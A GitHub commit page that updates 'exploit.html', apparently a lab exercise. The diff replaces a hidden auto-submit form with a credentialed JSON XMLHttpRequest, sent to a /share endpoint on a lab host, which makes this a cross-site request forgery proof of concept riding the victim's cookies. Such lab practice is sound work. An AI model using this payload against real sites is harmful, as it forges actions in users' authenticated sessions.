Skip to content

Commit

Permalink
Update exploit.html
Browse files Browse the repository at this point in the history
  • Loading branch information
0xLittleSpidy authored Feb 18, 2024
1 parent 86ddf95 commit 1a89189
Showing 1 changed file with 14 additions and 8 deletions.
22 changes: 14 additions & 8 deletions exploit.html
Original file line number Diff line number Diff line change
@@ -1,9 +1,15 @@
<!DOCTYPE html>
<html>
<body>
<h1> hello </h1>
<form method="POST" action="https://ptl-7374ade8-f31b71a6.libcurl.so/share">
<input type="hidden" name="" value="{"user":"test","id":0}"/>
<input type="submit" value="Submit">
</form>
</body>
<html>
<body>
<button onclick='sendRequest()'>Submit request</button>
<script>
function sendRequest() {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://ptl-7374ade8-f31b71a6.libcurl.so:80/share');
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
xhr.send({"user":"test","id":0} );
}
</script>
</body>
</html>

0 comments on commit 1a89189

Please sign in to comment.